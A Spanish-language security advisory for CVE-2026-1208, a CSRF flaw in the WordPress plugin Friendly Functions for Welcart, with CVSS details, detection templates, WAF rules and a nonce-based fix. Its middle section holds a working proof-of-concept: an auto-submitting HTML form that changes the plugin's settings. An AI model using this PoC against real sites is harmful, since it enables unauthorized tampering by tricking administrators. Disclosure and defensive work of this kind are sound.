
Friendly Functions for Welcart <= 1.2.5 - Falsificación de Solicitudes entre Sitios para Actualización de Ajustes
Palabras clave: CVE-2026-1208, vulnerabilidad en Friendly Functions for Welcart, CSRF, Falsificación de Solicitudes entre Sitios, seguridad de WordPress, vulnerabilidad de plugin de WordPress, CWE-352, seguridad de Welcart, manipulación de ajustes, CVE 2026 de WordPress
Vulnerabilidad CSRF en el plugin de WordPress Friendly Functions for Welcart (CVE-2026-1208) - Fallo de seguridad que permite a atacantes no autenticados modificar los ajustes del plugin mediante solicitudes falsificadas.
Se descubrió una vulnerabilidad de Falsificación de Solicitudes entre Sitios (CSRF) en el plugin Friendly Functions for Welcart que permite a atacantes no autenticados actualizar los ajustes del plugin engañando a un administrador para que haga clic en un enlace malicioso.
Descubierto por: Kai Aizen (SnailSploit)
Publicado: 23 de enero de 2026
Puntuación CVSS: 4.3 (Media)
CWE: CWE-352 - Falsificación de Solicitudes entre Sitios (CSRF)
Plugin: Friendly Functions for Welcart
Tipo de ataque: Falsificación de Solicitudes entre Sitios para actualización de ajustes
Privilegios requeridos: Ninguno (Ataque no autenticado + Ingeniería social)
El plugin Friendly Functions for Welcart para WordPress es vulnerable a Falsificación de Solicitudes entre Sitios en todas las versiones hasta la 1.2.5 inclusive. Esto se debe a la ausencia o a una validación incorrecta de nonce en la página de ajustes. Esto permite que atacantes no autenticados actualicen los ajustes del plugin mediante una solicitud falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace.
Esta vulnerabilidad permite a atacantes no autenticados:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
La vulnerabilidad se encuentra en la implementación de la página de ajustes, donde:
La vulnerabilidad se identificó en las siguientes ubicaciones:
ffw_function_settings.php - Línea 53ffw_function_settings.php - Línea 58El ataque requiere ingeniería social para engañar a un administrador autenticado para que visite una página maliciosa o haga clic en un enlace manipulado mientras está conectado a su sitio de WordPress.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ Advertencia: Este PoC se proporciona únicamente con fines educativos y de pruebas autorizadas.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Plantilla de Nuclei:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
Regla de ModSecurity:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Regla de Nginx:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
Se requiere acción inmediata:
Asegúrate de que todos los formularios de ajustes implementen una protección CSRF adecuada:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
Investigador:
Proceso de divulgación: Coordinado a través del Programa de Bug Bounty de Wordfence
Esta información se proporciona únicamente con fines de investigación de seguridad y defensa. Cualquier explotación de esta vulnerabilidad con fines maliciosos es ilegal y poco ética. Obtén siempre la autorización adecuada antes de probar sistemas que no te pertenecen.
Para preguntas o información adicional sobre esta vulnerabilidad:
Última actualización: 23 de enero de 2026
El análisis completo de este proyecto, la metodología y la investigación relacionada se encuentran en:
https://snailsploit.com/security-research/cves/cve-2026-1208/
Creado por Kai Aizen — investigador independiente de seguridad ofensiva.
snailsploit.com · Investigación · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
El mismo ataque. Diferente sustrato.
| Métrica | Valor |
|---|
| Vector de ataque | Red (AV:N) |
| Complejidad del ataque | Baja (AC:L) |
| Privilegios requeridos | Ninguno (PR:N) |
| Interacción del usuario | Requerida (UI:R) |
| Alcance | Sin cambios (S:U) |
| Confidencialidad | Ninguna (C:N) |
| Integridad | Baja (I:L) |
| Disponibilidad | Ninguna (A:N) |